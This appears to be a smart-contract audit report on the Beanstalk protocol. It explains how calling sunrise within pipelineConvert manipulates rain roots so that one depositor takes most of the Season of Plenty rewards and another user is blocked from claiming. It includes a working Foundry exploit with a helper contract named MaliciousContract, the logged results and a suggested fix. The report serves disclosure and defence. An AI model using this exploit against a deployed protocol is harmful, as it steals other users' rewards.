Summary
One can potentially hijack SoP rewards by manipulating the pipeline function calls during the conversion process.
Vulnerability Details
Suppose both Alice and Bob each deposit 2000e6 in season 1, and two seasons have elapsed, so we are now in season 3.
Now, the conditions P > 1 and podRate < 5%
are met, so there will be rain in season 4.
In season 3, the roots for both Bob and Alice are 20008000000000000000000000
, making the total roots 40016000000000000000000000
.
Bob notices that when sunrise occurs and we step into the rainy season 4, the total rain roots (equal to the total roots before the rain) will be 40016000000000000000000000
. Bob's rain roots will be 20008000000000000000000000
, the same as his roots before the rainy season 4. This means that if there is a flood in season 5, 50% of the rewards will be allocated to Bob and the other half to Alice, as each holds 50% of the total rain roots.
Bob performs the following maneuver to increase his rain roots and thereby gain a larger share of the rewards.
Bob's trick:
At the end of season 3 (i.e., after 1 hour has elapsed, allowing the transition to season 4 if someone calls sunrise
), Bob calls pipelineConvert
to convert Bean to LP tokens.
During the conversion, the input tokens are first withdrawn. This action reduces temporarily the total roots in the protocol and sets Bob's roots to zero.
Then it executes the pipilne convert where it uses the parameter advancedFarmCalls
. This parameter is created such that it calls the function advancedPipe
in DepotFacet
, where it invokes the following series of functions by triggering the function advancedPipe
in the Pipeline
contract, in order:
calls sunrise
to step into rainy season 4.
calls approve
to give allowance of max to the BeanETH well to use the amount of bean transferred to the Pipeline
.
calls addLiquidity
in BeanETH well to add those beans as liquidity.
calls run
in the contract MaliciousContract
. This function only sows some beans in the protocol. The reason for having such function is that when sunrise
is called, some beans are minted as incentivization to the caller. But, the function advancePipe
has the modifier noSupplyIncrease
to prevent any bean change in total supply. To bypass such limitation, the function run
is called, it sows some beans equal to these newly minted beans into the protocol. By doing so, those sowed beans are burned, thus total supply of bean is not changed in advancePipe
, and bypassing the limitation.
When sunrise
is called, it checks the condition for having rain in season 4. Since we assumed these conditions are met, the protocol sets s.sys.rain.roots = s.sys.silo.roots
which means the total roots before the start of rain is equal to the current total roots in the protocol.
Note that, during convert, first the input tokens are withdrawn, so the total roots is decreased by the amount of roots that Bob was holding which is equal to 20008000000000000000000000
, thus the s.sys.rain.roots
is set to 20008000000000000000000000
instead of 40016000000000000000000000
, and Bob's roots is set to 0
.
After the execution of pipeline convert, output tokens (which is LP in this example) are added to the protocol and increases the total roots and Bob's roots by the quivalent roots based on the bdv of the output tokens, which is equal to 18578716386428000000000000
in this example. But, this does not change the s.sys.rain.roots
.
In summary, before the convert (Bob's trick), we had:
total roots = 40016000000000000000000000
total rain roots: 0
Alice's roots: 20008000000000000000000000
Alice's rain roots: 0
Bob's roots: 20008000000000000000000000
Bob's rain roots: 0
After the convert (Bob's trick), we have:
total roots = 38590716386428000000000000
total rain roots: 20008000000000000000000000
Alice's roots: 20012000000000000000000000
Alice's rain roots: 20008000000000000000000000
Bob's roots: 18578716386428000000000000
Bob's rain roots: 18571291070000000000000000
The issue is that the total rain roots should equal the sum of Alice's and Bob's rain roots. However, it is smaller due to Bob's trick. In other words, Bob is holding 92% of the total rain roots (18578716386428000000000000 / 20008000000000000000000000
), while Alice is holding 100% (20008000000000000000000000 / 20008000000000000000000000
). This is problematic because Bob, being aware of the opportunity he created, can claim his rewards earlier than Alice. Therefore, if there is a flood in season 5 and rewards are allocated to Bob and Alice, Bob can call claimPlenty
early and receive 92% of the rewards. Consequently, the total rain roots in the protocol decrease to 20008000000000000000000000 - 18578716386428000000000000 = 1.43670893e+24
. As a result, a low amount of rain roots remain in the protocol, and Alice cannot claim her rewards due to the underflow error in s.sys.sop.plentyPerSopToken[address(sopToken)] -= plenty;
.
function _claimPlenty(address account, address well, LibTransfer.To toMode) internal {
uint256 plenty = s.accts[account].sop.perWellPlenty[well].plenty;
if (plenty > 0 && LibWell.isWell(well)) {
IERC20[] memory tokens = IWell(well).tokens();
IERC20 sopToken = tokens[0] != C.bean() ? tokens[0] : tokens[1];
LibTransfer.sendToken(sopToken, plenty, LibTractor._user(), toMode);
s.accts[account].sop.perWellPlenty[well].plenty = 0;
s.sys.sop.plentyPerSopToken[address(sopToken)] -= plenty;
emit ClaimPlenty(account, address(sopToken), plenty);
}
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/SiloFacet/ClaimFacet.sol#L104
function pipelineConvert(
address inputToken,
int96[] calldata stems,
uint256[] calldata amounts,
address outputToken,
AdvancedFarmCall[] calldata advancedFarmCalls
)
external
payable
fundsSafu
nonReentrant
returns (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv)
{
uint256 grownStalk;
(grownStalk, fromBdv) = LibConvert._withdrawTokens(inputToken, stems, amounts, fromAmount);
(toAmount, grownStalk, toBdv) = LibPipelineConvert.executePipelineConvert(
inputToken,
outputToken,
fromAmount,
fromBdv,
grownStalk,
advancedFarmCalls
);
toStem = LibConvert._depositTokensForConvert(outputToken, toAmount, toBdv, grownStalk);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/PipelineConvertFacet.sol#L62
function advancedPipe(
AdvancedPipeCall[] calldata pipes,
uint256 value
) external payable fundsSafu noSupplyIncrease returns (bytes[] memory results) {
results = IPipeline(PIPELINE).advancedPipe{value: value}(pipes);
LibEth.refundEth();
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/farm/DepotFacet.sol#L51
Test Case
The following foundry test implementes the scenario explained above.
function testConvertBeanToLPManipulation() public {
int96 stem;
uint AliceDepositAmount = 2000e6;
uint BobDepositAmount = 2000e6;
setDeltaBforWell(int256(AliceDepositAmount + BobDepositAmount), beanEthWell, C.WETH);
bean.mint(users[1], AliceDepositAmount);
bean.mint(users[2], BobDepositAmount);
season.setSoilE(100e6);
console.log("season number before deposit: ", bs.season());
address[] memory userAddress = new address[](1);
userAddress[0] = users[1];
depositForUsers(userAddress, C.BEAN, AliceDepositAmount, LibTransfer.From.EXTERNAL);
userAddress[0] = users[2];
depositForUsers(userAddress, C.BEAN, BobDepositAmount, LibTransfer.From.EXTERNAL);
bs.siloSunrise(0);
bs.siloSunrise(0);
MaliciousContract maliciousContract = new MaliciousContract(BEANSTALK, C.BEAN);
bean.mint(address(maliciousContract), 100e6);
maliciousContract.initialize();
console.log("season number after two seasons are elapsed: ", bs.season());
int96[] memory stems = new int96[](1);
stems[0] = stem;
AdvancedFarmCall[] memory beanToLPFarmCalls = createLPToBeanFarmCallsWithSunrise(
BobDepositAmount,
maliciousContract
);
uint256[] memory amounts = new uint256[](1);
amounts[0] = BobDepositAmount;
bs.mow(users[1], C.BEAN);
bs.mow(users[2], C.BEAN);
SeasonGettersFacet seasonGetters = SeasonGettersFacet(BEANSTALK);
console.log("total roots before convert: ", bs.totalRoots());
console.log("total rain roots before convert: ", seasonGetters.rain().roots);
console.log("Alice balanceOfRoots before convert: ", bs.balanceOfRoots(users[1]));
console.log("Alice balance of rainRoots before convert: ", bs.balanceOfRainRoots(users[1]));
console.log("Bob balanceOfRoots before convert: ", bs.balanceOfRoots(users[2]));
console.log("Bob balance of rainRoots before convert: ", bs.balanceOfRainRoots(users[2]));
vm.prank(users[2]);
convert.pipelineConvert(
C.BEAN,
stems,
amounts,
beanEthWell,
beanToLPFarmCalls
);
bs.mow(users[1], C.BEAN);
bs.mow(users[2], beanEthWell);
console.log("total roots after convert: ", bs.totalRoots());
console.log("total rain roots after convert: ", seasonGetters.rain().roots);
console.log("Alice balanceOfRoots after convert: ", bs.balanceOfRoots(users[1]));
console.log("Alice balance of rainRoots after convert: ", bs.balanceOfRainRoots(users[1]));
console.log("Bob balanceOfRoots after convert: ", bs.balanceOfRoots(users[2]));
console.log("Bob balance of rainRoots after convert: ", bs.balanceOfRainRoots(users[2]));
}
function createLPToBeanFarmCallsWithSunrise(
uint256 amountOfBean,
MaliciousContract maliciousContract
) private view returns (AdvancedFarmCall[] memory output) {
bytes memory rainSunriseEncoded = abi.encodeWithSignature(
"rainSunrise()"
);
bytes memory approveEncoded = abi.encodeWithSelector(
IERC20.approve.selector,
beanEthWell,
MAX_UINT256
);
uint256[] memory tokenAmountsIn = new uint256[](2);
tokenAmountsIn[0] = amountOfBean;
tokenAmountsIn[1] = 0;
bytes memory addLiquidityEncoded = abi.encodeWithSelector(
IWell.addLiquidity.selector,
tokenAmountsIn,
0,
C.PIPELINE,
type(uint256).max
);
bytes memory runEncoded = abi.encodeWithSignature(
"run()"
);
AdvancedPipeCall[] memory advancedPipeCalls = new AdvancedPipeCall[](4);
advancedPipeCalls[0] = AdvancedPipeCall(
address(season),
rainSunriseEncoded,
abi.encode(0)
);
advancedPipeCalls[1] = AdvancedPipeCall(
C.BEAN,
approveEncoded,
abi.encode(0)
);
advancedPipeCalls[2] = AdvancedPipeCall(
beanEthWell,
addLiquidityEncoded,
abi.encode(0)
);
advancedPipeCalls[3] = AdvancedPipeCall(
address(maliciousContract),
runEncoded,
abi.encode(0)
);
AdvancedFarmCall[] memory advancedFarmCalls = new AdvancedFarmCall[](1);
bytes memory advancedPipeCalldata = abi.encodeWithSelector(
depot.advancedPipe.selector,
advancedPipeCalls,
0
);
advancedFarmCalls[0] = AdvancedFarmCall(advancedPipeCalldata, new bytes(0));
return advancedFarmCalls;
}
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.20;
import {TestHelper, C} from "test/foundry/utils/TestHelper.sol";
import "hardhat/console.sol";
interface IBeanstalk {
enum From {
EXTERNAL,
INTERNAL,
EXTERNAL_INTERNAL,
INTERNAL_TOLERANT
}
enum To {
EXTERNAL,
INTERNAL
}
function sowWithMin(
uint256 beans,
uint256 minTemperature,
uint256 minSoil,
From mode
) external payable returns (uint256 pods);
}
interface IERC20 {
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
contract MaliciousContract is TestHelper {
IBeanstalk iBeanstalk;
address bean;
uint initialSupply;
constructor(
address _addressBeanstalk,
address _bean
) {
iBeanstalk = IBeanstalk(_addressBeanstalk);
bean = _bean;
}
function initialize() public {
initialSupply = IERC20(bean).totalSupply();
}
function run() public {
IERC20(bean).approve(address(iBeanstalk), type(uint256).max);
uint256 currentSupply = IERC20(bean).totalSupply();
uint256 diffTotalSupply = currentSupply - initialSupply;
iBeanstalk.sowWithMin(diffTotalSupply, 0, 0, IBeanstalk.From.EXTERNAL);
}
}
The output is:
season number before deposit: 1
season number after two seasons are elapsed: 3
total roots before convert: 40016000000000000000000000
total rain roots before convert: 0
Alice balanceOfRoots before convert: 20008000000000000000000000
Alice balance of rainRoots before convert: 0
Bob balanceOfRoots before convert: 20008000000000000000000000
Bob balance of rainRoots before convert: 0
total roots after convert: 38590716386428000000000000
total rain roots after convert: 20008000000000000000000000
Alice balanceOfRoots after convert: 20012000000000000000000000
Alice balance of rainRoots after convert: 20008000000000000000000000
Bob balanceOfRoots after convert: 18578716386428000000000000
Bob balance of rainRoots after convert: 18571291070000000000000000
Impact
Stealing SoP rewards.
Tools Used
Recommendations
It is recommended to put a reentrancy guard for calling sunrise
.